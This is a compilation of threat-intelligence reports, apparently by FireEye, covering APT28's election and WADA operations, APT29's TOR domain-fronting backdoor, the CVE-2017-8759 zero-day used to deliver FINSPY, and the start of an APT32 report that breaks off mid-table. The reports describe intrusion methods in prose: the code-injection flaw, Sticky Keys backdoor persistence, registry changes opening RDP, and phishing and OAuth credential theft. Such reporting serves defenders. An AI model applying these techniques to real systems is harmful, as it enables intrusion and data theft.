as Pawn Storm. Hacquebord Feike. Pawn Storm Targets German Christian Democratic Union. Trend Micro. 11 May 2016. Web. 29 Dec. 2016. Hacquebord Feike. Pawn Storm s Domestic Spying Campaign Revealed; Ukraine and US Top Global Targets. TrendLabs Security Intelligence Blog, Trend Micro. 18 August 2015. Web. 29 Dec. 2016. Neuer Hackerangriff auf Bundespolitiker / BSI warnt Parteien vor Cyberangriffen. Westdeutscher Rundfunk. 20 Sept. 2016. Web. 29 Dec. 2016. Russia was Behind German Parliament Hack. The BBC. 13 May 2016. Web. 29 Dec. 2016. Kharouni, Loucif. et al. Operation Pawn Storm: Using Decoys to Evade Detection. Trend Micro. 22 Oct. 2014. Web. 3 Jan. 2017. SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM Since 2014, APT28 network activity has likely supported information operations designed to influence the domestic politics of foreign nations. Some of these operations have involved the disruption and defacement of websites, false flag operations using false hacktivist personas, and the theft of data that was later leaked publicly online. Table 2 highlights incidents in which victims suffered a compromise that FireEye iSIGHT Intelligence, other authorities, or the victims themselves later attributed to the group we track as APT28. All of these operations have aimed to achieve a similar objective: securing a political outcome beneficial to Russia. TA B L E 2 : A P T 2 8 N E T WO R K AC T I V I T Y H A S L I K E LY S U P P O R T E D I N F O R M AT I O N O P E R AT I O N S VICTIM TIMEFRAME A P T 2 8 N E T WO R K AC T I V I T Y A S S O C I AT E D I N F O R M AT I O N O P E R AT I O N S AC T I V I T Y SEPTEMBER 2016 On September 13, WADA confirmed that APT28 had compromised its networks and accessed athlete medical data. 8 On September 12, 2016, the Fancy Bears Hack Team persona claimed to have compromised WADA and released athletes medical records as proof of American athletes taking doping. APRIL SEPTEMBER 2016 The DNC announced it had suffered a network compromise and that a subsequent investigation found evidence of two breaches, attributed to APT28 and APT29. FireEye analyzed the malware found on DNC networks and determined that it was consistent with our previous observations of APT28 tools.10,11 In June 2016, shortly after the DNC s announcement, the Guccifer 2.0 persona claimed responsibility for the DNC breach and leaked documents taken from the organization s network. Guccifer 2.0 continued to leak batches of DNC documents through September.12,13 MARCH NOVEMBER 2016 Investigators found that John Podesta, Hillary Clinton s presidential campaign chairman, was one of thousands of individuals targeted in a mass phishing scheme using shortened URLs that security researchers attributed to APT28.14 Throughout October and into early November, WikiLeaks published 34 batches of email correspondence stolen from John Podesta s personal email account. Correspondence of other individuals targeted in the same phishing campaign, including former Secretary of State Colin Powell and Clinton campaign staffer William Rinehart, were published on the DC Leaks website.15 U.S. Democratic Congressional Campaign Committee (DCCC) MARCH OCTOBER 2016 In July, the DCCC announced that it was investigating an ongoing cybersecurity incident that the FBI believed was linked to the compromise of the DNC. House Speaker Nancy Pelosi later confirmed that the DCCC had suffered a network compromise. Investigators indicated that the actors may have gained access to DCCC systems as early as March.16,17,18 In August, the Guccifer 2.0 persona contacted reporters covering U.S. House of Representative races to announce newly leaked documents from the DCCC pertaining to Democratic candidates. From August to October, Guccifer 2.0 posted several additional installments of what appear to be internal DCCC documents on WordPress site.19,20 TV5Monde FEBRUARY 2015, APRIL 2015 In February, FireEye identified CORESHELL traffic beaconing from TV5Monde s network, confirming that APT28 had compromised TV5Monde s network. In April 2015, alleged pro-ISIS hacktivist group CyberCaliphate defaced TV5Monde s websites and social media profiles and forced the company s 11 broadcast channels offline. FireEye identified overlaps between the domain registration details of CyberCaliphate s website and APT28 infrastructure. 21 Ukrainian officials revealed that the investigation into the compromise of the CEC s internal network identified malware traced to APT28. 22 During the May 2014 Ukrainian presidential election, purported pro-Russian hacktivists CyberBerkut conducted a series of malicious activities against the CEC including a system compromise, data destruction, a data leak, a distributed denial-of-service (DDoS) attack, and an attempted defacement of the CEC website with fake election results. 23 World Anti-Doping Agency (WADA) U.S. Democratic National Committee (DNC) John Podesta Ukrainian Central Election Commission (CEC) MAY 2014 WADA Confirms Attack by Russian Cyber Espionage Group. World Anti-Doping Agency. 13 Sept. 2016. Web. 29 Dec. 2016. Fancy Bears HT (fancybears). @AnonPress Greetings. We hacked #WADA. We have Proof of American Athletes taking doping. Fancybear.net. 12 Sept. 2016, 4:12 PM. Tweet. CrowdStrike refers to activity corresponding to FireEye s APT28 and APT29 as Fancy Bear and Cozy Bear, respectively. Nakashima, Ellen. Cyber Researchers Confirm Russian Government Hack of Democratic National Committee. The Washington Post. 20 June 2016. Web. 29 Dec. 2016. Rid, Thomas. All Signs Point to Russia Being Behind the DNC Hack. Motherboard, Vice. 25 July 2016. Web. 29 Dec. 2016. Bennett, Cory. Guccifer 2.0 Drops More DNC Docs. Politico. 13 Sept. 2016. Web. 2 Jan. 2017. <> Perlroth, Nicole. Shear, Michael D. Private Security Group Says Russia was Behind John Podesta s Email Hack. The New York Times. 21 Oct. 2016. Web. 2 Jan. 2017. Franceschi-Bicchierai, Lorenzo. How Hackers Broke Into John Podesta and Colin Powell s Gmail Accounts. 20 Oct. 2016. Web. 2 Jan. 2017. Nakashima, Ellen. FBI Probes Suspected Breach of Another Democratic Organization by Russian Hackers. The Washington Post. 29 July 2016. Web. 29 Dec. 2016. Pelosi, Nancy. DCCC Cyber Breach. 13 August 2016. Email. U.S. House of Representatives. Washington, DC. Politico. Web. 29 Dec. 2016. Lipton, Eric. Shane, Scott. Democratic House Candidates Were Also Targets of Russian Hacking. The New York Times. 13 Dec. 2016. Web. 29 Dec. 2016. Ibid. SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM FROM OLYMPIC SLIGHT TO DATA LEAK: Investigating APT28 at the World Anti-Doping Agency As news of the DNC breach spread, APT28 was preparing for another set of operations: countering the condemnation that Russia was facing after doping allegations and a threatened blanket ban of the Russian team from the upcoming Rio Games. Russia, like many nations, has long viewed success in the Olympic Games as a source of national prestige and soft power on the world stage. The doping allegations and prospective ban from the Games further ostracized Russia, and likely provided motivation to actively counter the allegations by attempting to discredit anti-doping agencies and policies. Our investigation of APT28 s compromise of WADA s network, and our observations of the surrounding events reveal how Russia sought to counteract a damaging narrative and delegitimize the institutions leveling criticism. ALLEGATIONS OF RUSSIAN ATHLETES WIDESPREAD DOPING NOV (2015) JULY 18 AUG 4 WADA declares the Russian Anti-Doping Agency (RUSADA) noncompliant. 24 WADA-commissioned report documents evidence of Russian athletes widespread doping. 25 Russian athletes were barred from competing in the Olympic Games. 26 APT28 COMPROMISES WADA EARLY AUG AUG 10 AUG 25-SEP 12 APT28 sends spear phishing emails to WADA employees. 27 APT28 uses a legitimate user account belonging to a Russian athlete to log into WADA s AntiDoping Administration and Management System (ADAMS) database. 28 APT28 gains access to an International Olympic Committee account created specifically for the 2016 Olympic Games, and views and downloads athlete data. 29 SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM FALSE HACKTIVIST PERSONAS CLAIM TO TARGET WADA, LEAK ATHLETE DATA AUG 9 AUG 11 SEP 12 SEP 13 SEP 15-30 The actor @anpoland, purporting to represent Anonymous Poland, claims to have defaced the WADA website. 30 On August 11 @anpoland threatens to conduct a DDoS attack against and leak data from WADA, but fails to follow through on the threats. 31,32 Fancy Bears Hack Team , a previously unknown group purporting to be affiliated with Anonymous, claims via Twitter to have compromised WADA, and directs readers to a website hosting stolen documents. 33 WADA releases a statement confirming the breach and attributes the compromise and theft of athlete medical data to APT28. 35 Fancy Bears Hack Team releases five additional batches of medical files for high-profile athletes from multiple nations, including the U.S., which had applied for and received Therapeutic Use Exemptions (TUEs) for medications otherwise banned from competition. 36 In tweets to international journalists and Twitter accounts that disseminate hacktivist and information security news, Fancy Bears Hack Team claims to have proof of American athletes taking doping. Based on this timeline of leak and threatened leak activity, as well as strikingly similar characteristics and distribution methods shared between @anpoland and Fancy Bears Hack Team, the same operators are highly likely behind the two personas. WADA officials, citing evidence provided by law enforcement, stated that the threat activity originated in Russia, possibly in retaliation Claiming to support fair play and clean sport, Fancy Bears Hack team calls TUEs licenses for doping. for WADA s exposure of Russia s expansive, state-run doping. 38 The statement prompted denials from the Russian Government, with Russian sports minister Vitaly Mutko asking, How can you prove that the hackers are Russian? You blame Russia for everything, it is very in fashion now. 20. Gallagher, Sean. Guccifer 2.0 Posts DCCC Docs, Says They re From Clinton Foundation. Ars Technica. 4 Oct. 2016. Web. 3 Jan. 2017. 21. Russian Hackers Suspected in French TV Cyberattack. Deutsche Welle. 6 Oct. 2015. Web. 29 Dec. 2016. 22. Joselow, Gabe. Election Cyberattacks: Pro-Russia Hackers Have Been Accused in Past. NBC News. 3 Nov. 2016. Web. 29 Dec. 2016. 23. Clayton, Mark. Ukraine Election Narrowly Avoided Wanton Destruction From Hackers (+Video). The Christian Science Monitor. 17 June 2014. Web. 2 Jan. 2017. 24. Foundation Board Media Release: WADA Strengthens Anti-Doping Worldwide. World Anti-Doping Agency. 18 November 2015. 25. Russia State-Sponsored Doping Across Majority of Olympic Sports, Claims Report. The BBC. 18 July 2016. Web. 29 Dec. 2016. 26. Macguire, Eoghan. Almasy, Steve. 271 Russian Athletes Cleared for Rio Games. CNN. 5 August 2016. Web. 29 Dec. 2016. 27. Cyber Security Update: WADA s Incident Response. World Anti-Doping Agency. 5 Oct. 2016. Web. 3 Jan. 2017. 28. WADA Confirms Attack by Russian Cyber Espionage Group. World Anti-Doping Agency. 13 Sept. 2016. 29. WADA Confirms Another Batch of Athlete Data Leaked by Russian Cyber Hackers Fancy Bear. World Anti-Doping Agency. 14 Sept. 2016. Web. 29 Dec. 2016. <> 30. [OP PL]. www.tas-cas.org. Online video clip. YouTube. YouTube, 9 Aug. 2016. Web. 3 Jan. 2017. 31. Anonymous Poland (@anpoland). @Cryptomeorg @ben_rumsby @PogoWasRight @Jason_A_Murdock @Cyber_War_News @kevincollier Tomorrow will ddos WADA and publish some secret dosc. 11 Aug 2016 10:10 AM. Tweet. 32. Anonymous Poland (@anpoland). @JoeUchill within a few days will be new attack on the WADA/Olimpic. 5 Sept. 2016 5:19 AM. Tweet. 33. Fancy Bears HT (fancybears). @AnonPress Greetings. We hacked #WADA. We have Proof of American Athletes taking doping. Fancybear.net. 34. Ibid. 35. WADA Confirms Attack by Russian Cyber Espionage Group. World Anti-Doping Agency.13 Sept. 2016. 36. Russian Hackers Leak Simone Biles and Serena Williams Files. The BBC. 13 Sept. 2016. Web. 29 Dec. 2016. 37. Rumsby, Ben. US Superstars Serena and Venus Williams and Simone Biles Given Drugs Exemption, Russian Hackers Reveal. The Telegraph. 14 Sept. 2016. Web. 29 Dec. 2016. 38. Luhn, Alec. Fancy Bears Origins Unclear But Russia Seizes Chance to Put Boot into Wada. 15 Sept. 2016. Web. 29 Dec. 2016. 39. Gibson, Owen. Russian Sports Minister Vitaly Mutko Denies Link to Wada Hackers. The Guardian. 14 Sept. 2016. Web. 29 Dec. 2016. SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM CONCLUSION Since releasing our 2014 report, we continue to assess that APT28 is sponsored by the Russian Government. We further assess that APT28 is the group responsible for the network compromises of WADA and the DNC and other entities related to the 2016 U.S. presidential election cycle. These breaches involved the theft of internal data - mostly emails that was later strategically leaked through multiple forums and propagated in a calculated manner almost certainly intended to advance particular Russian Government aims. In a report released on January 7 2017, the U.S. Directorate of National Intelligence described this activity as an influence campaign. This influence campaign - a combination of network compromises and subsequent data leaks - aligns closely with the Russian military s publicly stated intentions and capabilities. Influence operations, also frequently called information operations, have a long history of inclusion in Russian strategic doctrine, and have been intentionally developed, deployed, and modernized with the advent of the internet. The recent activity in the U.S. is but one of many instances of Russian Government influence operations conducted in support of strategic political objectives, and it will not be the last. As the 2017 elections in Europe approach - most notably in Germany, France, and the Netherlands - we are already seeing the makings of similarly concerted efforts. SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM APPENDIX: APT28 s Tools, Tactics, and Operational Changes In our 2014 report, we identified APT28 as a suspected Russian government-sponsored espionage actor. We came to this conclusion in part based on forensic details left in the malware that APT28 had employed since at least 2007. We have provided an updated version of those conclusions, a layout of the tactics that they generally employ, as well as observations of apparent tactical shifts. For full details, please reference our 2014 report, APT28: A Window into Russia s Cyber Espionage Operations? APT28 employs a suite of malware with features indicative of the group plans for continued operations, as well as the group s access to resources and skilled developers. Key characteristics of APT28 s toolset include: A flexible, modular framework that has allowed APT28 to consistently evolve its toolset since at least 2007. Use of a formal coding environment in which to develop tools, allowing the group to create and deploy custom modules within its backdoors. Incorporation of counter-analysis capabilities including runtime checks to identify an analysis environment, obfuscated strings unpacked at runtime, and the inclusion of unused machine instructions to slow analysis. Code compiled during the normal working day in the Moscow time zone and within a Russian language build environment. OVER APT28 S MALWARE SAMPLES WERE COMPILED DURING THE WORKING WEEK SAMPLES COMPILED BETWEEN 8AM AND 6PM IN THE TIMEZONE THAT INCLUDES MAJOR RUSSIAN CITIES SUCH AS MOSCOW AND ST. PETERSBURG IN ADDITION, APT28 S DEVELOPERS CONSISTENTLY BUILT MALWARE IN RUSSIAN LANGUAGE SETTINGS UNTIL 2013 SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM APT28 S MALWARE SUITE TOOL ROLE CHOPSTICK backdoor Xagent, webhp, SPLM, (.v2 fysbis) EVILTOSS backdoor Sedreco, AZZY, Xagent, ADVSTORESHELL, NETUI GAMEFISH backdoor Sednit, Seduploader, JHUHUGIT, Sofacy SOURFACE downloader Older version of CORESHELL, Sofacy OLDBAIT credential harvester Sasfis CORESHELL downloader Newer version of SOURFACE, Sofacy APT28 S OPERATIONAL CHANGES SINCE 2014 APT28 continues to evolve its toolkit and refine its tactics in what is almost certainly an effort to protect its operational effectiveness in the face of heightened public exposure and scrutiny. In addition to the continued evolution of the group first stage tools, we have also noted APT28: Leveraging zero-day vulnerabilities in Adobe Flash Player, Java, and Windows, including CVE-2015-1701, CVE-2015-2424, CVE-2015-2590, CVE-2015-3043, CVE-2015-5119, and CVE2015-7645. Using a profiling script to deploy zero-days and other tools more selectively, decreasing the chance that researchers and others will gain access to the group s tools. Increasing reliance on public code depositories, such as Carberp, PowerShell Empire, P.A.S. webshell, Metasploit modules, and others in a likely effort to accelerate their development cycle and provide plausible deniability. Obtaining credentials through fabricated Google App authorization and Oauth access requests that allow the group to bypass two-factor authentication and other security measures. Moving laterally through a network relying only on legitimate tools that already exist within the victims systems, at times forgoing their traditional toolset for the duration of the compromise. These changes are not only indicative of APT28 s skills, resourcefulness, and desire to maintain operational effectiveness, but also highlight the longevity of the group s mission and its intent to continue its activities for the foreseeable future. SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM APT28 TACTICS We have observed APT28 rely on four key tactics when attempting to compromise intended targets. These include sending spear-phishing emails that either deliver exploit documents that deploy malware onto a user s systems, or contain a malicious URL designed to harvest the recipients email credentials and provide access to the their accounts. APT28 has also compromised and placed malware on legitimate websites intending to infect site visitors, and has gained access to organizations by compromising their web-facing servers TAC TI C TAC TI C INFECTION WITH MALWARE VIA SPEAR PHISH WEBMAIL ACCESS VIA SPEAR-PHISH Craft exploit document with enticing lure content. Register a domain spoofing a webmail service or an organization s webmail portal (e.g., 0nedrive-0ffice365[.]com) Register a domain spoofing that of a legitimate organization (e.g., theguardiannews[.]org). Send exploit document to victim. Send link mirroring structure of legitimate organization site that is designed to expire once users clickit. Victim opens document, and malware is installed by exploiting a vulnerability Victim goes to link and retrieves malicious document or is served a web-based exploit that installs malware. (e.g., ARM-NATO_ ENGLISH_30_NOV_2016. doc leveraged an Adobe Flash exploit, CVE-2016-7855, to install GAMEFISH targeted machine). (Flash Vulnerability CVE2016-7855 and Windows Vulnerability CVE-2016-7255 were exploited as zero days to install malware on victims who visited a malicious URL). Send email to targets instructing them to reset their passwords. Send email to victims warning of security risk and asking them to enable security service. Recipient visits fake login page and enters credentials. Person is asked to authorize application to view mail and gives access. APT28 uses stolen credentials to access mailbox and read email. APT28 leverages OAuth privileges given to malicious application to read email. APT28 IS IN YOUR NETWORK. SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM TAC TI C TAC TI C INFECTION WITH MALWARE VIA STRATEGIC WEB COMPROMISE (SWC) ACCESS THROUGH INTERNET-FACING SERVERS Compromise a legitimate site and set up malicious iFrame. Network reconnaissance to find vulnerable software. Users of the site are redirected using malicious iFrame and profiled Exploitation of previously known vulnerabilities present on unpatched systems. (e.g, this technique was used to compromise and infect visitors to numerous Polish Government websites in 2014). Exploit is served to users matching the target profile and malware is installed on their system. Leverage initial compromise to access other systems and move deeper into the victim network. APT28 IS IN YOUR NETWORK. APT28 IS IN YOUR NETWORK. SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM To download this or other FireEye iSIGHT Intelligence reports, visit: www.fireeye.com/reports.html FireEye, Inc. 1440 McCarthy Blvd. Milpitas, CA 95035 408.321.6300 / 877.FIREEYE (347.3393) / info@FireEye.com www.FireEye.com 2016 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. GRAF-60. APT29 Domain Fronting With TOR fireeye.com /blog/threat-research/2017/03/apt29_domain_frontin.html Mandiant has observed Russian nation-state attackers APT29 employing domain fronting techniques for stealthy backdoor access to victim environments for at least two years. There has been considerable discussion about domain fronting following the release of a paper detailing these techniques. Domain fronting provides outbound network connections that are indistinguishable from legitimate requests for popular websites. APT29 has used The Onion Router (TOR) and the TOR domain fronting plugin meek to create a hidden, encrypted network tunnel that appeared to connect to Google services over TLS. This tunnel provided the attacker remote access to the host system using the Terminal Services (TS), NetBIOS, and Server Message Block (SMB) services, while appearing to be traffic to legitimate websites. The attackers also leveraged a common Windows exploit to access a privileged command shell without authenticating. We first discussed APT29 s use of these techniques as part of our No Easy Breach talk at DerbyCon 6.0. For additional details on how we first identified this backdoor, and the epic investigation it was part of, see the slides and presentation. Domain Fronting Overview The Onion Router (TOR) is a network of proxy nodes that attempts to provide anonymity to users accessing the Internet. TOR transfers internet traffic through a series of proxy points on the Internet, with each node knowing only the previous and next node in the path. This proxy network, combined with pervasive encryption, makes tracking the source of TOR Internet activity extremely difficult. A TOR client can also use the TOR network to host services that are not accessible from the open Internet. These services are commonly used to host dark web sites such as the defunct Silk Road. Typically network analysts can identify normal TOR traffic through signature analysis or the identification of communication with TOR infrastructure. Meek is a publicly available obfuscation plugin for TOR and an implementation of the domain fronting technique. To hide TOR traffic, meek takes advantage of the way that Google and other Internet content delivery networks (CDNs) route traffic. CDNs often route traffic from IP addresses associated with one service to servers associated with another service hosted on the same network. By hosting a meek reflection server in one of these CDNs, meek can hide TOR traffic in legitimate HTTPS connections to wellknown services. Meek obfuscates traffic in several stages. First, it encodes TOR traffic into HTTP specifying the host name of the reflection server (for example, the default server meek-reflect.appspot.com). It then wraps that HTTP traffic in a legitimate TLS connection to a server hosted in the same CDN cloud as the reflection server (in this example, Google). When the CDN server receives the connection, it decrypts the TLS traffic, identifies the hostname specified in the HTTP header and redirects the traffic to the reflection server. The reflection server then reconstructs the original TOR traffic from the HTTP stream and sends the traffic to the TOR network, which routes it to its destination. This process creates an outbound network connection that appears to contain normal HTTPS POST requests for google.com on a Google-owned IP address, while discretely passing the traffic through the reflection server to the TOR network. Meek can also use the TLS service and cipher suites used by Firefox to further obfuscate traffic. Differentiating this traffic from legitimate connections is extremely difficult, and encryption of both on the initial TLS connection and the TOR traffic makes meaningful analysis of the traffic impossible. Note: Google suspended the reflection server meek-reflect.appspot.com, but other servers, in the Google cloud or other supported CDNs, can fulfill the same function. Figure 1 displays the traffic flow when using meek. Figure 1: Meek traffic flow Backdoor Overview Mandiant discovered that APT29 enabled a TOR hidden service that forwarded traffic from the TOR client to local ports 139, 445 and 3389 (NetBIOS, SMB and TS, respectively). This provided the attackers full remote access to the system from outside of the local network using the hidden TOR (.onion) address of the system. The attackers created the following files and directories during the installation and execution of the backdoor: C:\Program Files(x86)\Google\googleService.exe C:\Program Files(x86)\Google\GoogleUpdate.exe C:\Program Files(x86)\Google\core C:\Program Files(x86)\Google\data C:\Program Files(x86)\Google\data\00 C:\Program Files(x86)\Google\data\00\hostname C:\Program Files(x86)\Google\data\00\private_key C:\Program Files(x86)\Google\debug.log C:\Program Files(x86)\Google\lock C:\Program Files(x86)\Google\cached-certs C:\Program Files(x86)\Google\cached-microdescs C:\Program Files(x86)\Google\cached-microdescs.new C:\Program Files(x86)\Google\cached-microdescs-consensus C:\Program Files(x86)\Google\state C:\Program Files(x86)\Google\start.ps1 C:\Program Files(x86)\Google\install.bat The file googleService.exe is the primary TOR executable, responsible for establishing and maintaining encrypted proxy connections. GoogleUpdate.exe is the meek-client plugin, which obfuscates the TOR connection. These files are publicly available and have the following hashes: Filename SHA256 googleService.exe GoogleUpdate.exe fe744a5b2d07de396a8b3fe97155fc64e350b76d88db36c619cd941279987dc5 2f39dee2ee608e39917cc022d9aae399959e967a2dd70d83b81785a98bd9ed36 The file C:\Program Files (x86)\Google\core contains configuration information for the TOR service googleService.exe. The service was configured to: Communicate on ports 1, 80 and 443 Bridge traffic using the meek plugin to https://meek-reflect.appspot.com and obfuscate HTTPS and DNS requests to appear destined for www.google.com Forward traffic from ports 62304, 62305 and 62306 to ports 3389, 139 and 445, respectively Figure 2 displays the contents of the TOR configuration file core. Figure 2: Contents of TOR configuration file C:\Program Files(x86)\Google\core The C:\Program Files (x86)\Google\data\00\hostname file contained a single line with the TOR hostname for the system. This hostname was a pseudorandomly-generated 16 character alpha-numeric name, with the top-level domain (TLD) .onion. The C:\Program Files(x86)\Google\data\00\private_key file contained the TOR client RSA private key. Figure 3 displays the redacted contents of a sample private_key file. Figure 3: Redacted contents of sample private_key The attackers used the scripts start.ps1 and install.bat to install the TOR service. After installation, the attackers deleted these scripts from the system. Additional files in the directory C:\Program Files(x86)\Google contained cached data and logs from the operation of TOR. Additional information on increasing visibility into PowerShell activity through enhanced logging is available here. Installation and Persistence The attacker executed the PowerShell script C:\Program Files(x86)\Google\start.ps1 to install the TOR services and implement the Sticky Keys exploit. This script was deleted after execution, and was not recovered. By replacing the Sticky Keys binary, C:\Windows\System32\sethc.exe, with the Windows Command Processor cmd.exe, the attackers then accessed a privileged Windows console session without authenticating to the system. Sticky Keys is an accessibility feature that allows users to activate Windows modifier keys without pressing more than one key at a time. Pressing the shift key five times activates Sticky Keys and executes sethc.exe, which, when replaced with cmd.exe, opens a System-level command shell. From this shell, the attackers can execute arbitrary Windows commands, including adding or modifying accounts on the system, even from the logon screen (pre-authentication). By tunneling RDP traffic to the system, the attackers could gain both persistent access and privilege escalation using this simple and well-known exploit. The installation script start.ps1 created a Windows service named Google Update to maintain persistence after a system reboot. Table 1 contains registry details for the Google Update service. Table 1: Registry details for the TOR Google Update Windows service The script also modified the Terminal Server registry values fSingleSessionPerUser to allow multiple simultaneous Windows sessions using the same account, and fDenyTSConnections to allow Terminal Services connections. Table 2 shows the modified values for these registry keys. Table 2: Registry modifications performed by start.ps1 Conclusion APT29 adopted domain fronting long before these techniques were widely known. By employing a publicly available implementation, they were able to hide their network traffic, with minimal research or development, and with tools that are difficult to attribute. Detecting this activity on the network requires visibility into TLS connections and effective network signatures. However, when dealing with advanced threat groups who rapidly develop capabilities and invest in hiding network traffic, effective endpoint visibility is vital. Monitoring for potentially interesting events and attacker methodologies, like lateral movement and new persistence creation, can allow defenders to identify these stealthy methodologies. FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY fireeye.com /blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html FireEye recently detected a malicious Microsoft Office RTF document that leveraged CVE-2017-8759, a SOAP WSDL parser code injection vulnerability. This vulnerability allows a malicious actor to inject arbitrary code during the parsing of SOAP WSDL definition contents. FireEye analyzed a Microsoft Word document where attackers used the arbitrary code injection to download and execute a Visual Basic script that contained PowerShell commands. FireEye shared the details of the vulnerability with Microsoft and has been coordinating public disclosure timed with the release of a patch to address the vulnerability and security guidance, which can be found here. FireEye email, endpoint and network products detected the malicious documents. Vulnerability Used to Target Russian Speakers The malicious document, .doc (MD5: fe5c4d6bb78e170abf5cf3741868ea4c), might have been used to target a Russian speaker. Upon successful exploitation of CVE-2017-8759, the document downloads multiple components (details follow), and eventually launches a FINSPY payload (MD5: a7b990d5f57b244dd17e9a937a41e7f5). FINSPY malware, also reported as FinFisher or WingBird, is available for purchase as part of a lawful intercept capability. Based on this and previous use of FINSPY, we assess with moderate confidence that this malicious document was used by a nation-state to target a Russian-speaking entity for cyber espionage purposes. Additional detections by FireEye s Dynamic Threat Intelligence system indicates that related activity, though potentially for a different client, might have occurred as early as July 2017. CVE-2017-8759 WSDL Parser Code Injection A code injection vulnerability exists in the WSDL parser module within the PrintClientProxy method (http://referencesource.microsoft.com/ - System.Runtime.Remoting/metadata/wsdlparser.cs,6111). The IsValidUrl does not perform correct validation if provided data that contains a CRLF sequence. This allows an attacker to inject and execute arbitrary code. A portion of the vulnerable code is shown in Figure 1. Figure 1: Vulnerable WSDL Parser When multiple address definitions are provided in a SOAP response, the code inserts the //base.ConfigureProxy(this.GetType(), string after the first address, commenting out the remaining addresses. However, if a CRLF sequence is in the additional addresses, the code following the CRLF will not be commented out. Figure 2 shows that due to lack validation of CRLF, a System.Diagnostics.Process.Start method call is injected. The generated code will be compiled by csc.exe of .NET framework, and loaded by the Office executables as a DLL. Figure 2: SOAP definition VS Generated code The In-the-Wild Attacks The attacks that FireEye observed in the wild leveraged a Rich Text Format (RTF) document, similar to the CVE2017-0199 documents we previously reported on. The malicious sampled contained an embedded SOAP monikers to facilitate exploitation (Figure 3). Figure 3: SOAP Moniker The payload retrieves the malicious SOAP WSDL definition from an attacker-controlled server. The WSDL parser, implemented in System.Runtime.Remoting.ni.dll of .NET framework, parses the content and generates a .cs source code at the working directory. The csc.exe of .NET framework then compiles the generated source code into a library, namely http[url path].dll. Microsoft Office then loads the library, completing the exploitation stage. Figure 4 shows an example library loaded as a result of exploitation. Figure 4: DLL loaded Upon successful exploitation, the injected code creates a new process and leverages mshta.exe to retrieve a HTA script named word.db from the same server. The HTA script removes the source code, compiled DLL and the PDB files from disk and then downloads and executes the FINSPY malware named left.jpg, which in spite of the .jpg extension and image/jpeg content-type, is actually an executable. Figure 5 shows the details of the PCAP of this malware transfer. Figure 5: Live requests The malware will be placed at %appdata%\Microsoft\Windows\OfficeUpdte-KB[ 6 random numbers ].exe. Figure 6 shows the process create chain under Process Monitor. Figure 6: Process Created Chain The Malware The left.jpg (md5: a7b990d5f57b244dd17e9a937a41e7f5) is a variant of FINSPY. It leverages heavily obfuscated code that employs a built-in virtual machine among other anti-analysis techniques to make reversing more difficult. As likely another unique anti-analysis technique, it parses its own full path and searches for the string representation of its own MD5 hash. Many resources, such as analysis tools and sandboxes, rename files/samples to their MD5 hash in order to ensure unique filenames. This variant runs with a mutex of "WininetStartupMutex0". Conclusion CVE-2017-8759 is the second zero-day vulnerability used to distribute FINSPY uncovered by FireEye in 2017. These exposures demonstrate the significant resources available to lawful intercept companies and their customers. Furthermore, FINSPY has been sold to multiple clients, suggesting the vulnerability was being used against other targets. It is possible that CVE-2017-8759 was being used by additional actors. While we have not found evidence of this, the zero day being used to distribute FINSPY in April 2017, CVE-2017-0199 was simultaneously being used by a financially motivated actor. If the actors behind FINSPY obtained this vulnerability from the same source used previously, it is possible that source sold it to additional actors. Acknowledgement Thank you to Dhanesh Kizhakkinan, Joseph Reyes, FireEye Labs Team, FireEye FLARE Team and FireEye iSIGHT Intelligence for their contributions to this blog. We also thank everyone from the Microsoft Security Response Center (MSRC) who worked with us on this issue. Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations fireeye.com /blog/threat-research/2017/05/cyber-espionage-apt32.html Cyber espionage actors, now designated by FireEye as APT32 (OceanLotus Group), are carrying out intrusions into private sector companies across multiple industries and have also targeted foreign governments, dissidents, and journalists. FireEye assesses that APT32 leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests. APT32 and FireEye s Community Response In the course of investigations into intrusions at several corporations with business interests in Vietnam, FireEye Mandiant incident response consultants uncovered activity and attacker-controlled infrastructure indicative of a significant intrusion campaign. In March 2017, in response to active targeting of FireEye clients, the team launched a Community Protection Event (CPE) a coordinated effort between Mandiant incident responders, FireEye as a Service (FaaS), FireEye iSight Intelligence, and FireEye product engineering to protect all clients from APT32 activity. In the following weeks, FireEye released threat intelligence products and updated malware profiles to customers while developing new detection techniques for APT32 s tools and phishing lures. This focused intelligence and detection effort led to new external victim identifications as well as providing sufficient technical evidence to link twelve prior intrusions, consolidating four previously unrelated clusters of threat actor activity into FireEye s newest named advanced persistent threat group: APT32. APT32 Targeting of Private Sector Company Operations in Southeast Asia Since at least 2014, FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnam manufacturing, consumer products, and hospitality sectors. Furthermore, there are indications that APT32 actors are targeting peripheral network security and technology infrastructure corporations, as well as consulting firms that may have connections with foreign investors. Here is an overview of intrusions investigated by FireEye that are attributed to APT32: In 2014, a European corporation was compromised prior to constructing a manufacturing facility in Vietnam. In 2016, Vietnamese and foreign-owned corporations working in network security, technology infrastructure, banking, and media industries were targeted. In mid-2016, malware that FireEye believes to be unique to APT32 was detected on the networks of a global hospitality industry developer with plans to expand operations into Vietnam. From 2016 through 2017, two subsidiaries of U.S. and Philippine consumer products corporations, located inside Vietnam, were the target of APT32 intrusion operations. In 2017, APT32 compromised the Vietnamese offices of a global consulting firm. Table 1 shows a breakdown of APT32 activity, including the malware families used in each. Year Country Industry Malware 1/11 2014 Vietnam Network Security WINDSHIELD 2014 Germany Manufacturing WINDSHIELD 2015 Vietnam Media WINDSHIELD 2016 Philippines Consumer products KOMPROGO WINDSHIELD SOUNDBITE BEACON 2016 Vietnam Banking WINDSHIELD 2016 Philippines Technology Infrastructure WINDSHIELD 2016 China Hospitality WINDSHIELD 2016 Vietnam Media WINDSHIELD 2016 United States Consumer Products WINDSHIELD PHOREAL BEACON SOUNDBITE 2017 United Kingdom Consulting 